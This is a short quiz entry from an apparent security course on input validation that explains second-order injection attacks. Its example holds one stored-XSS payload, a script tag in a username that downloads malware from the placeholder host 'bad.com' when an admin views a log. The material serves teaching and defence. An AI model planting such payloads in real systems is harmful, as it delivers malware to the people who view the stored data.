\nSystem stores this in a log file\nLater, an admin views the log in their browser\nThe script executes in admin's context, downloading malware\n\nThe payload doesn't affect the original system but targets downstream users/systems.\n", "dateModified": "2026-07-31T07:46:18+00:00" } } }

LOGBOOK

HELP

Quiz Entry - updated: 2026.07.31

What is a 2nd order injection attack?

The payload is stored harmlessly first, then fires later when some other component or user processes it.

Second-order injection: the attacker's username is stored, sits in the log, and executes when an admin later views it.

* Second-order injection — the payload is stored without executing, and only fires later, in someone else's context. *

2nd order injection stores a malicious payload that executes later on a different system or user — so input that looked safe on the way in becomes dangerous on the way back out.

Example:

  1. Attacker submits username: <script>$.download("http://bad.com/malware.exe")</script>
  2. System stores this in a log file
  3. Later, an admin views the log in their browser
  4. The script executes in admin's context, downloading malware

The payload doesn't affect the original system but targets downstream users/systems.

From Quiz: SPRG / Input Validation & Output Encoding | Updated: Jul 31, 2026